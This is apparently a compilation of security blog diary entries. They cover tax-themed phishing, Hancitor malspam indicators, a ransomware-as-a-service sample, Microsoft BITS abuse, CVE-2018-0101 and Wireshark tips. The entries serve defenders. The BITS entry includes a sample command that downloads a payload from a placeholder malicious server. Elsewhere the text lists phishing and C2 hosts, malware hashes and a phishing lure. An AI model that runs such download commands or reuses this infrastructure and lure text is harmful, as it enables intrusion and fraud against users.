Its that time of the year where you will start receiving fake tax information emails. So far today we have seen just a small campaign,  but I think people will more likely be susceptible to this kind of email this year as most people have heard about changes to the tax code, but not sure what has changed and how it affects them.  

The below attack had nothing significant about it as its a PDF that appears to be a link to a google document. The site then mimics google login and harvests credentials. I expect to see some very well crafted and targeted emails shortly that will trick users.

===============

From:rihjr@aol.com

Subject:Federal Tax Refund Information

URL:hxxps://actexim.in/ayv/afiles/index.php

Attachment:Federal Tax Refund Information.pdf

MD5:74639895a3d5f9fc6a587df27bb73c08

Good afternoon, I have a very important information for you concerning the Federal Tax Refund which I know that it will help you. Kindly check the attached file to view the details.

===========

Here is the PDF attachment.

The website that you were redirected to looked like this.

If your are already seeing more of these, let us know.

--

Tom Webb

@twsecblog

Take a look at a few lines...

Frist the going rate of a bitcoin:

Next the going rate of monero:

Both are seeing a lot of gains.  How is their performance related to each other?

Here are a few more lines to look at...

The Google Webtrends for the search term "ransomware":

Now the trends for the term "bitcoin":

And the trend for the term "monero":

The peak interest in "ransomware" searches is in May 2017 back when Wanacry was making a lot of noise.  NotPetya hit in June/July of 2017 and that seems to have been ransomware stopped losing its appeal for criminals.  Because NotPetya was a wiper and not actual ransomware, confidence that you would get your files back if you paid the ransom eroded.  Ransomware hasn't disppaered, but it has dropped in popularity.  (There appears to be more money to be made helping people launch ransomware attacks than actually launching attacks see: https://isc.sans.edu/forums/diary/Ransomware+as+a+Service/23277/)

Perhaps criminals don't want the amount of attention that incidents like wanacry or NotPetya generated.  Maybe they feel bad about the unintended consequences of locking down a hospital's computer system?  Or maybe there's just more/easier money in finding unused/poorly-secured resources to generate cryptocurrencies.

Crypto miners seem to be the payload du jour.  While writing this down, reader Chis shared the miner that was dropped on one of their servers.  The ad hoc bash script used indicates that there's a bit of red-on-red violence in the ilicit mining scene.  It also seems to be profitable, it looks like the pool used in this instance has generated a dozen or so monero units (is that the right term?) so far.

In response to this trend I'm adding an FLIR camera to my Incident Response jump kit.

Before I get too many "I'm surprised/disappointed you haven't mentioned..." emails let's get out a rough draft on CVE-2018-0101.

What is it?  A Base CVSS of 10 remote code execution and denial of service vulnerability affecting Cisco ASA devices with webvpn configured with SSL support.

What's the hurry?  Details of the exploit research will be presented this weekend at Recon in Brussels.  So it's getting some press.  Also, CISCO released the advisory yesterday so people who are into that sort of thing are writing their own tests and scanners and exploits.

How do I know if I'm affected?  I don't own one of these, so I don't have a great answer.  Do you have a CISCO ASA? (check your inventory)  Do you have webvpn configured? (check your config)  Does it support SSL or is it TLS support only? (check your config)  

I have one of these set up this way, now what do I do?  Upgrade to the 9.6 branch and patch.

I can't do that for reasons, what do I do?  Reduce the exposure by blocking un-needed networks.

Very funny, it's a vpn, I need that open to the Internet.  Do you really need it open to the ENTIRE Internet?

Yes, I'm a <industry> and <reasons>   Okay, if you can't patch, and you can't block, then you must monitor.

Alright, how do I do that?  I'm going to have to get back to you on that. Update: You may want to look at these proposed IDS signatures: https://gist.github.com/fox-srt/09401dfdfc15652b22956b9cc59f71cb

Xavier has an excellent tip for Wireshark users: Comment your Packet Captures!

In his diary entry, Xavier advises you to add comments to individual packets.

You can also add a global comment to your capture file. Go to Statistics / Capture File Properties:

You can add a comment to the capture file in the displayed dialog box:

Of course, you need to use the pcapng file format to save comments. The pcap format does not support this:

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Sometimes, when I'm analyzing malware, I think: this is probably part of a penetration test.

For example, until about a year ago, when I would analyze a malicious Office document with shellcode, there was a very high probability it was created by a penetration tester.

And it has happened too, that readers have submitted malware to the Internet Storm Center that turns out to be created for a penetration test. We inform them about this, and sometimes they will confirm later that it was indeed a pentest.

Just because it's a penetration test, doesn't mean that I'm halting my analysis. Depending on the context, I will take appropriate action. It has happened for example, that I obtained from the maldoc the domain name registered by the pentesters. In stead of blocklisting that domain, I would monitor it closely.

Have you uncovered a pentest? What did you do? Please post a comment.

Recently in my Twitter feed, I found a document with macros created to raise awareness.

It is not that difficult to analyze with oledump:

Yes, that's BASE64 that starts with TVqQ..., a strong indication that this is a Windows executable (MZ...).

And it is indeed a Windows executable. It is a 32-bit .NET executable with name CERT_Lock:

This .NET program will lock the computer screen for a couple of minutes and display phishing awareness messages in Slovak.

I think this was created for users that did not score high in awareness training quizes. Did you ever have to take such strong measures to raise awareness?

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

Microsoft BITS (“Background Intelligent Transfer Service”) is a tool present[1] in all modern Microsoft Windows operating systems. As the name says, you can see it as a "curl" or "wget" tool for Windows. It helps to transfer files between a server and a client but it also has plenty of interesting features. Such a tool, being always available, is priceless for attackers. They started to use BITS to grab malicious contents from the Internet. In May 2016, I wrote a diary about a piece of malware that already used BITS[2]. But the tool has many more interesting features (for the good as well the bad guys) like executing a command once the download completed, it can also control the bandwidth used (to remain stealthy).

Previously, there was a command ‘bitsadmin’ available to manage transfers with BITS but it has been deprecated and replaced by a complete integration with PowerShell:

PS C:\> Import-Module BitsTransfer
PS C:\> Get-Command  *-bits*

CommandType     Name
-----------     ----
Cmdlet          Add-BitsFile
Cmdlet          Complete-BitsTransfer
Cmdlet          Get-BitsTransfer
Cmdlet          Remove-BitsTransfer
Cmdlet          Resume-BitsTransfer
Cmdlet          Set-BitsTransfer
Cmdlet          Start-BitsTransfer
Cmdlet          Suspend-BitsTransfer    yield from self.parse()

To create a BITS jobs, just do this:

Start-BitsTransfer -Source http://malicious.server/payload.exe -Destination %APPDATA%/chrome.exe

Note that BITS is used by many third-party tools to download their own updates like AcrobatReader.

BITS is fully integrated within the Microsoft OS and generates events in the EventLog but everybody knows that such pieces of evidence can be easily cleared by the attackers. How to investigate an incident involving file transfer performed via BITS? French researchers from ANSSI[3] had a look at the queue manager files created by BITS. Such files are stored in %%ALLUSERSPROFILE%%\Microsoft\Network\Downloader (Administrative rights are required to access them):

C:\ProgramData\Microsoft\Network\Downloader>dir
 Volume in drive C has no label.
 Volume Serial Number is CC68-E0A2

 Directory of C:\ProgramData\Microsoft\Network\Downloader

03/10/2016  18:04    <DIR>          .
03/10/2016  18:04    <DIR>          ..
25/01/2018  18:18         4.194.304 qmgr0.dat
25/01/2018  18:18         4.194.304 qmgr1.dat
               2 File(s)      8.388.608 bytes
               2 Dir(s)      15.106.048 bytes free

Microsoft does not communicate a lot of information about the format of the file and the ANSSI researchers did a nice job to reverse engineer the format and to create a tool to parse them. The tool is called bits_parser[4].

Let’s install it using pip and check the available options:

# bits_parser -h
Extract BITS jobs from QMGR queue or disk image to CSV file.

Usage:
  bits_parser [options] [-o OUTPUT] FILE

Options:
  --no-carving                        Disable carving.

  --disk-image, -i                    Data input is a disk image.
  --radiance=VALUE                    Radiance in kB. [default: 2048]
  --skip-sampling                     Skip sampling and load file in memory.
  --checkpoint=PATH                   Store disk checkpoint file.

  --out=OUTPUT, -o OUTPUT             Write result to OUTPUT [default: stdout]
  --verbose, -v                       More verbosity.
  --debug                             Display debug messages.

  --help, -h                          Show this screen.
  --version                           Show version.

# bits_parser -o test.csv qmgr0.dat

Here are two examples of BITS jobs results (one carved, the second not). I reformated the CSV file for more readibility:

Good to know, BITS uses a dedicated User-Agent string, easy to spot in our log files:

Microsoft BITS/x.x

"x.x" is the version, currently 7.5.

If you're performing investigations involving Windows systems, you should definitively keep an eye on BITS and add bits_parser in your toolbox.

[1] https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx
[2] https://isc.sans.edu/forums/diary/Microsoft+BITS+Used+to+Download+Payloads/21027
[3] http://www.ssi.gouv.fr/en/
[4] https://github.com/ANSSI-FR/bits_parser
 

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Hunting on the dark web is interesting to find new malicious activities running in the background. Besides the classic sites where you can order drugs and all kind of counterfeited material, I discovered an interesting website which offers a service to create your own ransomware! The process is straightforward, you just have to:

• specify your Bitcoin address to get the ransom,
• select the amount (minimum amount is 0.01 BTC, max 1BTC)

and you get a nice malicious PE file delivered a few seconds later:

The business model behind the service is simple: the bad guys keep 10% of the ransom.

Based on the strange XMPP address provided on the webpage, I think that the service is not yet available or is just a proof of concept. However, it was really tempting so I generated my own ransomware sample. Note that a valid Bitcoin address must be provided. Thanks to Google, I found some “public” ones that I used for my test. The generated files is a 64bits PE file. I don’t know the reasons of this restriction.… 64 bits only is a real limitation to hit many victims.

+----------+----------------------------------------------------------------------------------------------------------------------------------+
| Key      | Value                                                                                                                            |
+----------+----------------------------------------------------------------------------------------------------------------------------------+
| Name     | YzBvIyROuOZGbcf6sFl8CKGQzqDgbb7Rzua.exe                                                                                          |
| Tags     | ransomware, isc                                                                                                                  |
| Path     | /home/nonroot/workdir/binaries/7/0/0/5/7005535e034576fdb66b5b32eb198b48d7755758e77bd66909f8dd7288c1e069                          |
| Size     | 5580288                                                                                                                          |
| Type     | PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows                                                         |
| Mime     | application/x-dosexec                                                                                                            |
| MD5      | 493640f022a7ac07ad4e8d6f2cd3740e                                                                                                 |
| SHA1     | 4c4a1df308e415ab356d93ff4c5884f551e40cf5                                                                                         |
| SHA256   | 7005535e034576fdb66b5b32eb198b48d7755758e77bd66909f8dd7288c1e069                                                                 |
| SHA512   | d29b40298f00ba619a59f4aa7cec1bb1ec753df948b9fa50e7e158150ca21801783d701c8ed32a8e3811f138ad948b4077c8cf2b7da5b25917ec8eebe7435c26 |
| SSdeep   | 49152:U6q9fOpwcf1pHot9E4IaCf1kin7N0Iu1YES/N4ggvewaFSenC00qTQeVptYt1dmT:ofk3oC9n7N0Iu19SV4ISeLQevtYVmS                            |
| CRC32    | 29B4ED1C                                                                                                                         |
| Parent   |                                                                                                                                  |
| Children |                                                                                                                                  |
+----------+----------------------------------------------------------------------------------------------------------------------------------+

The file hash was of course unknown on VT. When I submitted it, the score was only 7/66[1]. This is quite good (from the attacker perspective). No big player was able to detect it.
I tested the ransomware in a sandbox running a Windows 7 64bits protected by the Microsoft AV and all security features enabled. A few minutes later, my files were encrypted.
The communication with the victim is performed via a file on the desktop:

When you click on the link to are redirected to a website which discloses more details:

The webpage proposes to downloaded a decryption tool:
+----------+----------------------------------------------------------------------------------------------------------------------------------+
| Key      | Value                                                                                                                            |
+----------+----------------------------------------------------------------------------------------------------------------------------------+
| Name     | decrypter.exe                                                                                                                    |
| Tags     | ransomware, isc                                                                                                                  |
| Path     | /home/nonroot/workdir/binaries/c/b/7/3/cb73927aa749f88134ab7874b15df898c014a35d519469f59b1c85d32fa69357                          |
| Size     | 5605888                                                                                                                          |
| Type     | PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows                                                         |
| Mime     | application/x-dosexec                                                                                                            |
| MD5      | 3eadfae2ff4c4eb1c8e6ad48efdfff21                                                                                                 |
| SHA1     | 5845d32cfae8f554847fa95d28d5c6849c416b84                                                                                         |
| SHA256   | cb73927aa749f88134ab7874b15df898c014a35d519469f59b1c85d32fa69357                                                                 |
| SHA512   | 62efa2e1c8a8530b076b54e0e431492bf6a1d9d42addca8f95db1a1fce82e4288afe79a585d61831fc3d76f0d705b98324dc35e353cd19692779a3a8916f421f |
| SSdeep   | 49152:ymdRKnjBwhy1Bz/0RvVJr7eUBUr6DXxgqw5PgAXzzX691yW/0qTQN9sUL2z47tQ+:9RZaMoAxgqw5x691JQNmULd5L                                 |
| CRC32    | 9D8D2721                                                                                                                         |
| Parent   |                                                                                                                                  |
| Children |                                                                                                                                  |
+----------+----------------------------------------------------------------------------------------------------------------------------------+

Communications with the C2 server are performed via HTTPS: kdvm5fd6tn6jsbwh[.]onion[.]to (185[.]100[.]85[.]150) located in Romania.
The encryption key is downloaded and stored in %APPDATA%\encryption_key
Here is a dump of the file I received:

00000000: 2455 e231 0f56 cae2 3bad 8fe7 a116 3a67  $U.1.V..;.....:g
00000010: 50b7 f761 2bcb 237a 4634 6fbc fd01 12f0  P..a+.#zF4o.....
00000020: e38f 6bbf 7b74 46f1 6b4f 7235 a44e b1e1  ..k.{tF.kOr5.N..
00000030: 5ce7 51a1 8b46 22fc 3e45 9e68 cc35 2613  \.Q..F".>E.h.5&.
00000040: 78bc 2a60 071c 9955 7aa5 8bd5 3161 d86d  x.*`...Uz...1a.m
00000050: 5939 770a 2321 1815 4372 c307 5f6c e6c7  Y9w.#!..Cr.._l..
00000060: 0023 73e7 bcb6 2c08 545c 07c0 b5ce 437a  .#s...,.T\....Cz
00000070: 332c 4f48 88d8 62d7 771d 45ce c24c 230a  3,OH..b.w.E..L#.
00000080: 57e3 de14 bf83 4931 673f e47f 5f71 f337  W.....I1g?.._q.7
00000090: fd57 e3f7 99c0 7fad 31da 2965 e9a1 a993  .W......1.)e....
000000a0: 16de aca8 eae6 9003 d0b3 186c 45c6 bced  ...........lE...
000000b0: c10a 76ae aaa5 b699 8a1e fd51 bc06 993a  ..v........Q...:
000000c0: 9dda 14e7 cfe1 67f1 e135 c9ad 1f69 850e  ......g..5...i..
000000d0: 370c 0f50 16e6 8604 23bc fabb 6eee 3a1a  7..P....#...n.:.
000000e0: b3a5 655d 9327 2a4f fe75 c6d2 b2cb a192  ..e].'*O.u......
000000f0: ba87 6e06 02ca f460 8fbf ee4f 6ab4 f74c  ..n....`...Oj..L

The PE file is not obfuscated and interesting strings can be found like the list of file extensions that I scanned to be encrypted:

*.arw*.bay*.cdr*.cr2*.crw*.csv*.dcr*.dng*.doc*.dwg*.dxf*.erf*.jpg*.kdc*.mef*.mrw*.nef*.nrw*.orf*.pdf*.pef*.png*.ppt*.psd*.ptx*.r3d*.raf*.raw*.rtf*.rw2*.rwl*.sr2*.srf*.srw*.svg*.txt*.xls

The following drives are tested to find network shares:

K:, L:, M:, N:, O:, P:, Q:, R:, S:, T:, U:, V:, W:

Encrypted files have a new extension ‘.cypher’. Based on the strings present in the PE file, it has been written in Go. Do you have more information about this kind of ransomware? (".cypher"), please share!

[1] https://www.virustotal.com/file/7005535e034576fdb66b5b32eb198b48d7755758e77bd66909f8dd7288c1e069/analysis/1516797003/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Introduction

Malicious spam (malspam) pushing Hancitor malware (also known as Chanitor or Tordal) has been somewhat quiet since its last wave of 2017 on December 21st.  During the holidays, Hancitor took a break.  And in the first three weeks of 2018, I only saw one wave of Hancitor malspam that occurred on Wednesday 2018-01-10.

But on Tuesday 2018-01-23, we saw a new wave of Hancitor malspam.  This time, links in the emails returned an RTF file that exploits CVE-2017-11882.

As usual, these waves of malspam are most often caught by spam filters, so few people will actually see the messages.  And best security practices can easily prevent these infections from happening.

But we continue to see this malspam, so today's diary examines the infection traffic in my lab environment.

Chain of events

Operational characteristics of this campaign haven't changed much during the past few months.  This campaign sends out waves of malspam using a different themed template each day it's active.  Tuesday's theme spoofed eFax messages.  Hancitor malspam has used variations on this eFax theme several times before.

Each email has a link to download a fake document.  The result is most often a Microsoft Word document that has macros to run Hancitor.  Once activated, Hancitor then downloads two or three additional items of malware.  The additional malware is usually Pony, Evil Pony, and Zeus Panda Banker.  Pony and Evil Pony stay resident in the infected host's memory (they're both file-less); however, I can always grab a copy of Zeus Panda Banker that's been saved to disk.

Shown above:  A very simplified flow chart for Tuesday's infection chain.

Starting on 2017-11-21, I saw examples of the IcedID banking Trojan instead of Zeus Panda Banker on infected hosts in my lab environment.  Further waves of Hancitor malspam switched back and forth between IcedID and Zeus Panda Banker.  However, 2017-12-13 was the last time I saw IcedID banking Trojan during Hancitor infection traffic.  It's consistently been Zeus Panda Banker since 2017-12-18.

At times, post-infection traffic will show another item of follow-up malware.  In this diary's example, I also saw spambot malware.  The malware caused my infected lab host to send out more Hancitor malspam.  At least it tried to.  The few successful SMTP connections from my infected host were flagged by the receiving mail servers, and no spam was actually sent.

In October 2017, we briefly saw Hancitor malspam utilizing Microsoft Word documents with the DDE attack technique.  But after 10 days, it had gone back to using Word macros.  I predict that, after trying out these RTF files, Hancitor malspam will go back to regular Word document macros in the near future.

CVE-2017-11882

The CVE-2017-11882 vulnerability was patched by Microsoft in November 2017.  Since then, I've documented RTF files exploiting this vulnerability from malspam pushing malware like Loki-Bot and Formbook.  By now, exploits for this vulnerability are old news, and more than 1,000 samples have been submitted to VirusTotal since November 2017.

Shown above:  VirusTotal stopped counting after 1,000.

Tuesday's wave of malspam

Below is a screenshot from an example of Hancitor malspam on Tuesday 2018-01-23.

Shown above:  Hancitor malspam example.

Prior to December 2017, URLs in the malspam's message text included base64 encoded strings representing the recipient's email address.  Sometimes, they were just plain text.  However, since early December 2017, URLs in the message text have been using a custom encoding that I haven't figured out yet.

The email link returned an RTF file disguised as a Word document using the .doc file extension.

Shown above:  Downloading Tuesday's Hancitor RTF document.

Network traffic

I opened the RTF file using Microsoft Word on a vulnerable Windows 7 host, and it automatically retrieved the Hancitor binary and started the infection process.  The Hancitor binary was encoded as a base64 string in script returned from ofthi.com.  See the image below for details.

Shown above:  Opening the RTF in Word caused this HTTP request.

Otherwise, traffic looked very similar to Hancitor infections I've documented numerous times in recent months.

Shown above:  Hancitor infection traffic filtered in Wireshark.

As I mentioned earlier, in this infection, I saw another item of malware sent to my infected lab host.  It was spambot malware based on the Send-Safe bulk mailer.  After this malware came across, my infected host generated indicators for Send-Safe, and I saw plenty of attempts at SMTP.

Shown above:  Send-Safe based spambot malware sent during the post-infection traffic.

Shown above:  Send-Safe Enterprise Mailer UDP beacon traffic over port 50012.

Shown above:  Send-Safe SSL traffic over TCP port 50011.

Shown above:  Some of the many email-related DNS queries and SMTP attempts over TCP port 25.

Shown above:  SMTP traffic from my infected lab host.  No actual emails were sent.

Shown above:  Some alerts seen in Security Onion on Sguil using Suricata and the EmergingThreats Pro (ETPRO) ruleset.

Shown above:  Some alerts seen in Snort 2.9.11.1 focusing on CVE-2017-11882 using the Snort subscriber ruleset.

Forensics on the infected host

I checked my infected Windows host to see what artifacts remained after the computer had been infected for a while.  I found Zeus Panda Banker in its usual location, and the Send-Safe spambot malware EXE was in a folder under the user's AppData\Local\Temp directory.

Shown above:  Zeus Panda Banker persistent on the infected Windows host.

Shown above:  Send-Safe spambot malware on the infected Windows host.

Indicators

I collected 30 emails from Tuesday's wave of malspam.  The malspam spoofed chartersteeltrading.com as a sender, but that company is not involved with this malspam at all.  Details on these emails follow.

• Date/Time:  Tuesday 2018-01-23 as early as 15:27 UTC through at least 19:26 UTC
• Sending email address (spoofed):  "eFax" <efax@chartersteeltrading.com>

IP addresses for the sending hosts (hostname spoofed):

• Received: from chartersteeltrading.com ([24.172.35.186])
• Received: from chartersteeltrading.com ([24.209.225.196])
• Received: from chartersteeltrading.com ([24.229.13.112])
• Received: from chartersteeltrading.com ([24.240.249.177])
• Received: from chartersteeltrading.com ([50.243.250.42])
• Received: from chartersteeltrading.com ([65.119.133.234])
• Received: from ([67.185.30.14])
• Received: from chartersteeltrading.com ([69.168.10.171])
• Received: from chartersteeltrading.com ([69.68.213.2])
• Received: from chartersteeltrading.com ([69.85.138.250])
• Received: from chartersteeltrading.com ([72.87.95.7])
• Received: from chartersteeltrading.com ([73.139.187.123])
• Received: from chartersteeltrading.com ([73.204.111.182])
• Received: from chartersteeltrading.com ([74.193.124.128])
• Received: from chartersteeltrading.com ([74.205.144.158])
• Received: from chartersteeltrading.com ([89.105.112.225])
• Received: from chartersteeltrading.com ([96.33.255.179])
• Received: from chartersteeltrading.com ([96.93.239.202])
• Received: from chartersteeltrading.com ([97.64.237.178])
• Received: from chartersteeltrading.com ([97.88.126.215])
• Received: from chartersteeltrading.com ([162.212.89.158])
• Received: from chartersteeltrading.com ([170.82.209.179])
• Received: from chartersteeltrading.com ([174.50.105.120])
• Received: from chartersteeltrading.com ([174.50.253.185])
• Received: from chartersteeltrading.com ([172.116.233.29])
• Received: from chartersteeltrading.com ([174.140.111.81])
• Received: from chartersteeltrading.com ([184.69.39.44])
• Received: from chartersteeltrading.com ([204.98.126.34])
• Received: from chartersteeltrading.com ([205.207.125.4])
• Received: from chartersteeltrading.com ([216.174.116.246])

Subject lines:

• Subject: New incoming eFax document from 1-888-054543
• Subject: New incoming eFax document from 1-888-054867
• Subject: New incoming eFax document from 1-888-058404
• Subject: New incoming eFax document from 1-888-065263
• Subject: New incoming eFax document from 1-888-082230
• Subject: New incoming eFax document from 1-888-104320
• Subject: New incoming eFax document from 1-888-125841
• Subject: New incoming eFax document from 1-888-133424
• Subject: New incoming eFax document from 1-888-151448
• Subject: New incoming eFax document from 1-888-158888
• Subject: New incoming eFax document from 1-888-174616
• Subject: New incoming eFax document from 1-888-200502
• Subject: New incoming eFax document from 1-888-243674
• Subject: New incoming eFax document from 1-888-282052
• Subject: New incoming eFax document from 1-888-315617
• Subject: New incoming eFax document from 1-888-484137
• Subject: New incoming eFax document from 1-888-567328
• Subject: New incoming eFax document from 1-888-570874
• Subject: New incoming eFax document from 1-888-576440
• Subject: New incoming eFax document from 1-888-577320
• Subject: New incoming eFax document from 1-888-607645
• Subject: New incoming eFax document from 1-888-662207
• Subject: New incoming eFax document from 1-888-701147
• Subject: New incoming eFax document from 1-888-704704
• Subject: New incoming eFax document from 1-888-724271
• Subject: New incoming eFax document from 1-888-733843
• Subject: New incoming eFax document from 1-888-828665
• Subject: New incoming eFax document from 1-888-855238
• Subject: New incoming eFax document from 1-888-877866
• Subject: New incoming eFax document from 1-888-886210

Links from the emails:

• boxerproperties.biz - GET /?[info redacted]=[info redacted]
• boxerproperties.info - GET /?[info redacted]=[info redacted]
• boxerproperties.org - GET /?[info redacted]=[info redacted]
• boxerproperties.us - GET /?[info redacted]=[info redacted]
• carolinecollective.cc - GET /?[info redacted]=[info redacted]
• classiccaladiums.info - GET /?[info redacted]=[info redacted]
• classiccaladiums.org - GET /?[info redacted]=[info redacted]
• classiccaladiumsllc.org - GET /?[info redacted]=[info redacted]
• eastlandmallcharlotte.com - GET /?[info redacted]=[info redacted]
• long-island-office-space.com - GET /?[info redacted]=[info redacted]
• subleaseofficehouston.com - GET /?[info redacted]=[info redacted]
• tabconstructioninc.com - GET /?[info redacted]=[info redacted]
• tabrrinc.com - GET /?[info redacted]=[info redacted]
• tabrs.com - GET /?[info redacted]=[info redacted]
• thesublease.com - GET /?[info redacted]=[info redacted]

URL to retrieve the Hancitor binary that returned script with a base64 string:

• 95.213.249.117 port 80 - ofthi.com - GET /1

Post-infection traffic from my infected lab host:

• api.ipify.org - GET / (IP address check by the infected host, not inherently malicious)
• 95.213.222.52 port 80 - littarhapone.com - POST /ls5/forum.php
• 95.213.222.52 port 80 - littarhapone.com - POST /mlu/forum.php
• 95.213.222.52 port 80 - littarhapone.com - POST /d2/about.php
• 208.113.155.211 port 80 - www.boltboxmarketing.com - GET /wp-content/plugins/js_composer/config/1
• 208.113.155.211 port 80 - www.boltboxmarketing.com - GET /wp-content/plugins/js_composer/config/2
• 208.113.155.211 port 80 - www.boltboxmarketing.com - GET /wp-content/plugins/js_composer/config/3
• 185.186.244.86 port 443 - suptalefthed.ru - HTTPS/SSL/TLS traffic from Zeus Panda Banker
• 27.124.124.97 port 80 - yoyostudy.com.au - GET /62a.exe (Send-Safe spambot malware)
• 31.44.184.62 port 50011 - Send-Safe SSL traffic
• 31.44.184.62 port 50012 - Send-Safe Enterprise Mailer UDP beacon traffic

Associated malware:

SHA256 hash:  6dcbf652b96a7aea16d0c2e72186173d9345f722c9592e62820bcfe477b2b297

• File size:  45,375 bytes
• File name:  fax_518506.doc
• File description:  From link in email text - RTF file with exploit for CVE-2017-11882

SHA256 hash:  2c506742267dd9d41dc62f2614f6306458da185230fb46cb467c98a8f48317a4

• File size:  44,544 bytes
• File location:  hxxp://ofthi.com/1 (base64 string portion of the script) 
• File description:  Hancitor binary decoded from base64 string in script returned by ofthi.com

SHA256 hash:  8418887655f69ab5a61915bad2af633462760b128d38f53911da020d70e4862e

• File size:  159,744 bytes
• File location:  C:\Users\[username]\AppData\Roaming\[existing directory path]\[random file name].exe
• File description:  Zeus Panda Banker

SHA256 hash:  42b02d621696ec33e9140fedcf8b48695059595f9469dbf28daf4667ac0d214f

• File size:  2,040,320 bytes
• File location:  hxxp://yoyostudy.com.au/62a.exe
• File location:  C:\Users\[username]\AppData\Local\Temp\upd02b3be85\62a.exe
• File description:  Follow-up malware (Spambot malware based on Send-Safe)

Block list

As always, indicators are not a block list.  If anyone's inclined to web traffic, I suggest the following domains and URLs.  Keep in mind many of these may have been taken off-line by the time you read this.

Final words

As always, the standard disclaimer applies: Hancitor is really no more dangerous than other types of malspam we see on a daily basis.  This malware is for Windows systems, but Windows 10 hosts seem well-protected against this threat.  Even with the switch to RTF files exploiting CVE-2017-11882, I don't think this campaign is much more of a threat now than it was before.  Why?  Because spam filters seem to detect and block this malspam fairly easily.

The detection rate on the RTF files is a bit lower than I've seen before on previous Hancitor-related Word documents.  Today's RTF sample was 12 of 57 when I checked VirusTotal on 2018-01-24 at 00:32 UTC.  However, most of the infrastructure on these campaigns is quickly detected, and the associated hosting providers usually take most of it off-line within hours of discovery.

As always, properly-administered Windows hosts are unlikely to get infected.  For older versions of Windows, system administrators and the technically inclined can implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Pcap and malware samples for today's diary can be found here.

Finally, thanks to the security professionals on Twitter who share indicators and discuss these waves of malspam in near-real-time.  Here is a Twitter search to help you find more information and indicators for recent Hancitor activity.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Apple Patch Summary

Apple released updates for all of its products. Noteworthy is the "Meltdown" patch for Siera (10.12) and El Capitan (10.11) only. Apple has released patches for this vulnerability for High Sierra (10.13) about a week ago. For iOS, CVE-2018-4100 fixes a vulnerability that was already abused in the wild as part of a DoS attack against iOS devices. As usual, the WebKit vulnerabilities are probably the most critical once as they can be exploited via Safari to execute arbitrary code. Full details from Apple can be found here. On ouir Slack channel, there was a report that the OS X patches may cause systems to fail if Carbon Black Response is installed. Please let us know if you are running this product and if you had issues.

MacOS 10.13.3

iOS 11.2.5

watchOS 4.2.2

tvOS 11.2.5

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

It’s not much discussed in the United States, but the EU’s landmark General Data Privacy Regulation will soon become the law that governs how data must be protected, stored, and processed for European citizens. This, of course, has great effect for those organizations doing business in Europe but it has had and will have a myriad of side-effects that we’ll be dealing with for years to come. This is especially true for cybersecurity professionals and those who investigate crime on the internet.

For almost 2 years, debate has gone on at an ICANN working group on the future of Whois, the protocol that allows anyone to see registrant information for any domain on the internet (unless otherwise protected). Whois has been under fire from time to time by privacy activists and data protection authorities and now that conflict has reached a boiling point over GDPR. On the one hand, in a subset of cases personal information (unless you buy privacy protection) is published with phone numbers, emails, and mailing addresses. On the other hand, security investigators, researchers, and data scientists use this data in a variety of ways to find malicious domains and protect their constituents.

The debate at times has been heated with a registrar infamously calling anti-spam groups “blackhats” but after spending months in this group, it’s pretty clear that free and meaningful access to full whois data is going away. So the question becomes, now what? And what does this mean for other forms of data useful for threat research?

Whois, and certainly the commercial services built on top of that data, are useful for correlating malicious activity. During the French Presidential campaign (and the upcoming midterm elections in the United States), it is possible to find other domains with the same registrant details to identify multiple resources used by the adversary. It makes it possible to identify if domains are owned by who they purport to be, or provide essential contact information to resolve problems.

One of the problems I have, from time to time, is how to contact victims when I see their resources are compromised as often they won’t list data on their website. Whois data can, of course, be wrong… but even in those situations it is useful.

Luckily, for the broader class of threat data, it seems others are taking a more nuanced approach. This guide from the MISP Project talks about the implications in detail and points out recital 49 of GDPR encourages these kinds of sharing arrangements to continue.

If Whois does go away, how will it impact your organization and what plans do you have to accommodate those needs if it does?

--
John Bambenek
bambenek \at\ gmail /dot/ com
Fidelis Cybersecurity

Take a look at this Wireshark capture:

Wireshark dissects this as SSH traffic, but is it really?

Take a look at this Wireshark capture:

Here, you get more details for the individual SSH packets. So that first capture, is probably not SSH.

Wireshark will try to decode protocols based on several criteria, one of them is the port number. If the port is 22, Wireshark will try to decode the traffic as SSH, even it it is not SSH.

The traffic in the first capture is actually TLS. To get Wireshark to decode this traffic as SSL/TLS, you right-click a packet and select "Decode As...".

And then you configure Wireshark to decode traffic with port 22 as SSL:

And now, you get traffic that is properly dissected:

As SSL/TLS becomes ubiquitous, you can expect to find SSL/TLS traffic on non-standard ports. There are a couple of tricks to recognize SSL/TLS traffic: you might see a domain name or strings from the certificate in the first packets, or if you are "brave" enough to look at raw bytes, take a look at the second and third byte of data payload of each TCP packet. If these bytes are all 03 00, or 03 01, or 03 02, or 03 03, then you are most likely dealing with SSL/TLS traffic. These values represent the SSL/TLS version: SSL 3.0, TLS 1.0, TLS 1.1, TLS 1.2.

Using Decode As... is not a permanent change: this setting is discarded when Wireshark is closed.

If you want to make this permanent, you will have to go into the configuration of the dissectors. For example, for SSL/TLS you go to the configuration of the HTTP dissector: Edit / Preferences / Protocols / HTTP

If you want to be able to quickly change decodings, I recommend you use different profiles: the default profile, and a second profile where you configure your custom ports.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com

A couple of years ago, Lenny Zeltser wrote a diary entry on how to use curl to retrieve malware samples.

If you don't want to disclose your public IP address when retrieving malware, you can use proxies. One way to do this, is to use the Tor anonimity network.

On Linux and OSX, it's quite easy to do so.

You install the tor and torsocks packages for your distro, start tor, and then launch your curl or wget command via torsocks.

torsocks curl http://www.example.com/page -D headers.txt -o sample.vir

Mind you, the Tor network can be slow or unstable sometimes, which may interfere with the sample download. And Tor nodes might also be blocked in countries where you want to download samples from.

On Windows, you can use Tor but not torsocks.

For curl, that's not a problem. You just instruct curl to use the Tor socks proxy with option --socks5-hostname:

curl --socks5-hostname localhost:9050 http://www.example.com/page -D headers.txt -o sample.vir

